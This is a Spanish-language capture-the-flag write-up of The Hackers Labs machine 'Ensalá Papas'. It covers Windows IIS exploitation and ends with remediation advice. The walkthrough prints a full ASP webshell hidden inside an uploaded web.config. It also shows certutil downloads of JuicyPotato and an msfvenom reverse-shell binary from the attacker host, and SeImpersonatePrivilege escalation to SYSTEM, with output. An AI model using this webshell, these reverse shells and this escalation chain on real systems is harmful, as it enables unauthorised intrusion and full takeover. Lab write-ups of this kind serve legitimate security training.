August 14, 2026
The Hackers Labs Writeup — Ensalá Papas (Spanish)
A continuación, describo la guía de resolución del laboratorio de The Hackers Labs denominado “Ensalá Papas”.

By David Prieto Montero (a.k.a Pyth0nK1d)
11 min read
Este laboratorio está catalogado con la dificultad "Principiante" y sus autores son "condor" y "CuriosidadesDeHackers".
ATENCIÓN
Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.
Resumen de contenido sobre este laboratorio
Tags: Bypass, Divulgación de información, IIS (Internet Information Services), Subida de archivos (File Upload), Mala configuración de aplicación, Mala configuración de privilegios, Windows
Antes de comenzar, se indica un resumen de contenido que se puede encontrar en esta guía:
- Detección de una funcionalidad de subida de archivos que permite subir archivos con extensión ".config" y en consecuencia ejecutar código de forma remota. La explotación de la vulnerabilidad asociada permite realizar el acceso inicial como el usuario
info. - **Identificación y abuso del privilegio **SeImpersonatePrivilege asignado a este usuario. Esto permite la ejecución privilegiada de comandos y escalada de privilegios al contexto de
NT Authority\SYSTEM. - Detección y revisión de implementación de validaciones realizadas en la funcionalidad de la web.
Reconocimiento inicial
Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.
ping -c 1 10.0.226.3ping -c 1 10.0.226.3
Se puede comprobar que el TTL asignado es 128, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es Microsoft Windows.
Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.
sudo nmap -sS -p- --min-rate 1000 -n -Pn 10.0.226.3 -oN allPortssudo nmap -sS -p- --min-rate 1000 -n -Pn 10.0.226.3 -oN allPorts
En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.
nmap -sCV -p 80,135,139,445,47001,49152,49153,49154,49155,49156,49157 -n -Pn 10.0.226.3 -oN servicesnmap -sCV -p 80,135,139,445,47001,49152,49153,49154,49155,49156,49157 -n -Pn 10.0.226.3 -oN services
En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.
Acceso inicial (info)
En este caso se detecta que hay cinco puertos abiertos (excluyendo los high ports):
- Puerto 80 (servicio HTTP, Microsoft IIS httpd 7.5)
- Puerto 135 (servicio RPC, Microsoft Windows RPC)
- Puerto 139 (protocolo NetBIOS, Microsoft Windows SMB)
- Puerto 445 (protocolo SMB, Microsoft Windows SMB)
- Puerto 47001 (servicio WinRM, Windows Remote Management Service)
Tras revisar el puerto 80, se detecta la página por defecto que corresponde al servidor HTTP IIS o Internet Information Services de versión 7.
URL -> http://10.0.226.3URL -> http://10.0.226.3
Al escanear en busca de recursos accesibles se detecta uno.
gobuster dir -u http://10.0.226.3 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 32 -x txt,html,asp,aspx -b 400,404gobuster dir -u http://10.0.226.3 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 32 -x txt,html,asp,aspx -b 400,404
Al acceder a este nuevo recurso, parece mostrar una página que contiene una funcionalidad de subida de archivos.
URL -> http://10.0.226.3/zoc.aspxURL -> http://10.0.226.3/zoc.aspx
Revisando el código fuente de esta misma página, se detecta un comentario HTML que parece hacer referencia al nombre de un directorio.
URL -> view-source:http://10.0.226.3/zoc.aspx
...
<!-- /Subiditosdetono -->URL -> view-source:http://10.0.226.3/zoc.aspx
...
<!-- /Subiditosdetono -->
Tras acceder a este directorio, se puede comprobar que este dispone del listado de directorios habilitado y es posible comprobar que contiene el archivo de configuración "web.config" accesible.
URL -> http://10.0.226.3/Subiditosdetono/URL -> http://10.0.226.3/Subiditosdetono/
En resumen, el archivo "web.config" es un archivo de configuración de una aplicación web en entornos IIS y ASP.NET. Sirve para definir parámetros como autenticación, reglas de acceso, cadenas de conexión, manejo de errores y configuración del sitio.
Referencia (web.config en IIS 7.0): https://learn.microsoft.com/en-us/aspnet/core/host-and-deploy/iis/web-config?view=aspnetcore-7.0Referencia (web.config en IIS 7.0): https://learn.microsoft.com/en-us/aspnet/core/host-and-deploy/iis/web-config?view=aspnetcore-7.0Sin embargo, al intentar acceder a este, parece que devuelve un error 404 (No Encontrado), probablemente por reglas definidas por este mismo archivo o por permisos asociados a este.
URL -> http://10.0.226.3/Subiditosdetono/web.config -> 404 (No Encontrado)URL -> http://10.0.226.3/Subiditosdetono/web.config -> 404 (No Encontrado)
Como existe una subida de archivos y al parecer el servidor interpreta archivos ASPX, se obtiene una webshell compatible para intentar subirla a través de esta funcionalidad.
find /usr/share -name *.aspx 2>/dev/null
cp /usr/share/webshells/aspx/cmdasp.aspx .find /usr/share -name *.aspx 2>/dev/null
cp /usr/share/webshells/aspx/cmdasp.aspx .
Sin embargo, al intentar subirla parece que el servidor bloquea la subida. Esto significa que debe existir alguna restricción impuesta para evitar que este tipo de archivos sean subidos a través de esta funcionalidad.
URL -> http://10.0.226.3/zoc.aspx
(intentar subir archivo "cmdasp.aspx")
...
Invalid File. Please try againURL -> http://10.0.226.3/zoc.aspx
(intentar subir archivo "cmdasp.aspx")
...
Invalid File. Please try again
Para realizar pruebas, se captura la petición de subida de archivos con Burp Suite.
En este punto se decide realizar una prueba de subida de archivos modificando las diferentes extensiones para comprobar si esta es la limitación. Para ello, se manda la petición al módulo Intruder.
Mandar petición a Intruder: Click derecho > Send to IntruderMandar petición a Intruder: Click derecho > Send to IntruderAhora se configura el módulo para que pruebe diferentes extensiones, añadiendo la extensión con punto como posición (seleccionar y pulsar en "Add") y el diccionario especificado para realizar un ataque "Sniper Attack".
Recordar desactivar la opción de codificación de cargas útiles, ya que al ir en el cuerpo de la petición no es necesario.
Tras pulsar el botón "Start attack" y esperar un poco, se puede comprobar como por la diferencia de tamaño en las respuestas emitidas se detecta que algunas extensiones son aceptadas, detectable también por el descriptivo mensaje que devuelve en la respuesta: "File uploaded successfully."
De todas las detectadas destaca la extensión ".config".
Se puede comprobar que los archivos con extensión válida se han podido subir correctamente y que son accesibles desde el directorio secreto encontrado previamente. Sin embargo, el único que sigue sin permitir ver su contenido es el de la extensión ".config".
URL -> http://10.0.226.3/Subiditosdetono/URL -> http://10.0.226.3/Subiditosdetono/
Como parece que se pueden subir archivos con esta extensión, es posible que se pueda reemplazar el archivo "web.config" existente.
Al revisar HackTricks en busca de un recurso asociada a IIS y archivos ".config", se detecta una forma de sustituir este archivo por uno propio y hacer que el servidor acepte esta extensión para ejecutar código ASPX, pudiendo ejecutar así una webshell.
Referencia (Ejecutar archivos .config en IIS): https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/iis-internet-information-services.html#execute-config-files
Referencia (web.config): https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.configReferencia (Ejecutar archivos .config en IIS): https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/iis-internet-information-services.html#execute-config-files
Referencia (web.config): https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.configEn este caso se utiliza el siguiente archivo "web.config" (también accesible en una de las referencias proporcionadas).
<!-- web.config -->
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!--
<% Response.write("-"&"->")%>
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>
<%Response.write("<!-"&"-") %>
--><!-- web.config -->
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!--
<% Response.write("-"&"->")%>
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>
<%Response.write("<!-"&"-") %>
-->Una vez creado el archivo "web.config" con este contenido tal cual y quitando el título del archivo comentado, se utiliza la funcionalidad de subida de archivos subirlo.
URL -> http://10.0.226.3/zoc.aspxURL -> http://10.0.226.3/zoc.aspx
Al pulsar en "Upload" se puede comprobar que al parecer el archivo es aceptado y subido correctamente.
También es posible comprobar que esta acción a sobrescrito el "web.config" existente con el nuevo proporcionado, ya que se puede apreciar que el tamaño del archivo y fecha de modificación han cambiado con respecto a la última vez que se revisó.
URL -> http://10.0.226.3/Subiditosdetono/URL -> http://10.0.226.3/Subiditosdetono/
Al acceder en esta ocasión a "web.config", se puede comprobar que se ejecuta como un archivo ASPX, haciendo posible interactuar con una webshell que incluye este, y haciendo posible ejecutar comandos del sistema bajo el contexto del usuario "info".
URL -> http://10.0.226.3/Subiditosdetono/web.config?cmd=whoamiURL -> http://10.0.226.3/Subiditosdetono/web.config?cmd=whoami
Al poder ejecutar comandos, también es posible acceder al sistema. Para ello, primero se establece un puerto a la escucha.
Utilizando la página revshells.com se confecciona una consola inversa escrita en PowerShell (Base64) y se manda a través de la webshell.
revshells.com (PowerShell #3 (Base64))
Local IP: 10.0.226.4
Local Port: 1337revshells.com (PowerShell #3 (Base64))
Local IP: 10.0.226.4
Local Port: 1337
Tras pulsar en el botón "Run" de la webshell, se obtiene acceso al sistema en el puerto a la escucha previamente establecido como el usuario "info".
whoami
hostname
ipconfigwhoami
hostname
ipconfig
Por último, se obtiene la flag asociada a este usuario.
dir C:\Users\info
type C:\Users\info\user.txtdir C:\Users\info
type C:\Users\info\user.txt
Escalada de privilegios (info -> NT Authority\SYSTEM)
Al revisar la información asociada al usuario "info", se puede comprobar que tiene varios privilegios asignados, entre los cuales destaca "SeImpersonatePrivilege".
En resumen**, **SeImpersonatePrivilege es un privilegio que permite a un proceso asumir temporalmente la identidad de otro usuario después de autenticarse.
Se utiliza legítimamente para que servicios y aplicaciones actúen en nombre de usuarios. Sin embargo, este puede aprovecharse para escalar privilegios, permitiendo ejecutar procesos con privilegios de NT Authority\SYSTEM.
Referencia (SeImpersonatePrivilege): https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html#seimpersonateprivilege
whoami /allReferencia (SeImpersonatePrivilege): https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html#seimpersonateprivilege
whoami /all
Esto información apunta directamente a una serie de técnicas las cuales aprovechan la capacidad de **suplantación o secuestro de **tokens combinada con el comportamiento de ciertos servicios privilegiados de Windows para escalar privilegios. Dicho de otra forma, las bien conocidas patatas o ****potatos.
Referencia (Información sobre las patatas): https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.htmlReferencia (Información sobre las patatas): https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.htmlPara afinar más, se enumera la información del sistema, lo que permite descubrir con más detalle información específica. Por ejemplo, se identifica que es un sistema Microsoft Windows Server 2008 R2 Datacenter de arquitectura 64 ****bits.
systeminfosysteminfo
Esta información permite reducir las opciones a un exploit denominado ****JuicyPotato.
Las características destacables de este exploit son las siguientes:
- Permite escalar privilegios de un usuario con privilegios adecuados a NT Authority\SYSTEM en determinadas configuraciones de Windows.
- Fue ampliamente utilizado para evaluaciones de seguridad autorizadas y pruebas de penetración para demostrar configuraciones inseguras.
- Su efectividad depende de la versión de Windows y de las mitigaciones aplicadas ya que muchas versiones modernas han reducido o eliminado las condiciones que permitían la técnica que aprovecha.
Referencia (Información de JuicyPotato): https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/juicypotato.html#juicy-potato-abusing-the-golden-privilegesReferencia (Información de JuicyPotato): https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/juicypotato.html#juicy-potato-abusing-the-golden-privilegesEl exploit es posible encontrarlo en el siguiente repositorio de GitHub.
Exploit (JuicyPotato): https://github.com/ohpe/juicy-potatoExploit (JuicyPotato): https://github.com/ohpe/juicy-potatoTras descargarlo, se establece un servidor HTTP para subirlo al sistema objetivo.
ls -al JuicyPotato.exe
python3 -m http.server 80ls -al JuicyPotato.exe
python3 -m http.server 80
Una vez disponible, se descarga en el sistema objetivo dentro del directorio "temp" creado en este caso con el propósito de almacenar todo archivo temporal creado.
mkdir C:\temp
cd C:\temp
certutil -urlcache -f http://10.0.226.4/JuicyPotato.exe C:\temp\JuicyPotato.exe
dirmkdir C:\temp
cd C:\temp
certutil -urlcache -f http://10.0.226.4/JuicyPotato.exe C:\temp\JuicyPotato.exe
dir
A continuación, se comprueban posibles identificadores CLSID presentes en este sistema en el siguiente enlace.
En resumen, un CLSID (Class Identifier) es un identificador único (GUID) que Windows utiliza para identificar y localizar un objeto COM registrado en el sistema. En JuicyPotato, el CLSID se emplea para solicitar la activación de un objeto COM específico. Si ese objeto admite determinadas capacidades de suplantación, la técnica puede aprovechar ese comportamiento para intentar elevar privilegios.
Referencia (CLSID en Windows Server 2008): https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2008_R2_EnterpriseReferencia (CLSID en Windows Server 2008): https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2008_R2_EnterpriseUna vez identificado uno que resulte en privilegios de NT Authority\SYSTEM, se realiza una prueba de ejecución, donde se utiliza este exploit para ejecutar el binario "whoami.exe".
En este caso no importa cual ejecutar ya que no se va a obtener la respuesta de la ejecución. El objetivo es ver que el exploit se ejecute en el contexto esperado.
Tras hacerlo, se puede comprobar que lo hace, obteniendo el contexto de ejecución como NT Authority\SYSTEM.
cmd /c "C:\temp\JuicyPotato.exe -l 1337 -p C:\Windows\System32\whoami.exe -t t -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 1337
....
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OKcmd /c "C:\temp\JuicyPotato.exe -l 1337 -p C:\Windows\System32\whoami.exe -t t -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 1337
....
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
Para obtener acceso como este usuario, primero se establece un puerto a la escucha.
rlwrap nc -nvlp 1337rlwrap nc -nvlp 1337
A continuación se genera una consola inversa en formato ".exe" utilizando la herramienta "msfvenom".
msfvenom -p windows/x64/shell_reverse_tcp lhost=10.0.226.4 lport=1337 -f exe -o rev.exemsfvenom -p windows/x64/shell_reverse_tcp lhost=10.0.226.4 lport=1337 -f exe -o rev.exe
Se aprovecha el servidor HTTP previamente establecido para transferir el binario generado al sistema objetivo.
certutil -urlcache -f http://10.0.226.4/rev.exe C:\temp\rev.exe
dircertutil -urlcache -f http://10.0.226.4/rev.exe C:\temp\rev.exe
dir
En este punto se ejecuta el exploit, especificando esta vez como carga útil el binario generado.
cmd /c "C:\temp\JuicyPotato.exe -l 1337 -p C:\temp\rev.exe -t t -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 1337
....
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OKcmd /c "C:\temp\JuicyPotato.exe -l 1337 -p C:\temp\rev.exe -t t -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 1337
....
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
Tras una ejecución satisfactoria, se puede comprobar en el puerto a la escucha previamente establecido que se obtiene acceso al sistema bajo el contexto de NT Authority\SYSTEM. Además, se obtiene la flag asociada al usuario Administrador.
whoami
hostname
ipconfig
dir C:\Users\Administrador\Desktop
type C:\Users\Administrador\Desktop\root.txtwhoami
hostname
ipconfig
dir C:\Users\Administrador\Desktop
type C:\Users\Administrador\Desktop\root.txt
En este punto, al haber obtenido acceso al usuario NT Authority\SYSTEM, se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).
BONUS: Detectada la validación utilizada para la funcionalidad de subida de archivos
Se detecta dentro del directorio web el archivo utilizado para validar las extensiones permitidas por la funcionalidad de subida de archivos.
Esta funcionalidad tiene una aproximación correcta al validar la extensión del archivo subido contra una lista blanca de extensiones, sin embargo realiza tres acciones problemáticas que deberían corregirse:
- Permite la subida de archivos con extensión
.config. - Permite la subida de archivos sin comprobar su contenido real.
- Los archivos se suben directamente al directorio secreto accesible desde la web.
type inetpub/wwwroot/CS.aspx.cstype inetpub/wwwroot/CS.aspx.cs
Mitigaciones a aplicar
- Asegurarse de que los servicios expuestos no expongan contenido sensible, especialmente cuando es posible acceder de forma anónima.
- Para evitar la subida de archivos
.configen IIS, se recomienda permitir únicamente una lista blanca de extensiones válidas, validar tanto la extensión como el tipo real del archivo y almacenarlos fuera del directorio publicado por IIS. Además, el proceso de la aplicación no debería tener permisos para modificar archivos de configuración del servidor. - Ajustarse al principio de privilegio mínimo y exponer servicios con cuentas del sistema dedicadas para este fin.
- Ajustarse al principio de privilegio mínimo y conceder a los usuarios del sistema única y exclusivamente los privilegios que vayan a necesitar. Aplica de la misma forma para recursos del sistema y sus permisos. Recomendación: existen guías de hardening como "CIS Benchmarks" para aplicar buenas prácticas y asegurar entre otras cosas, los permisos para distintos tipos de software y sistemas expuestos en Internet.
¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com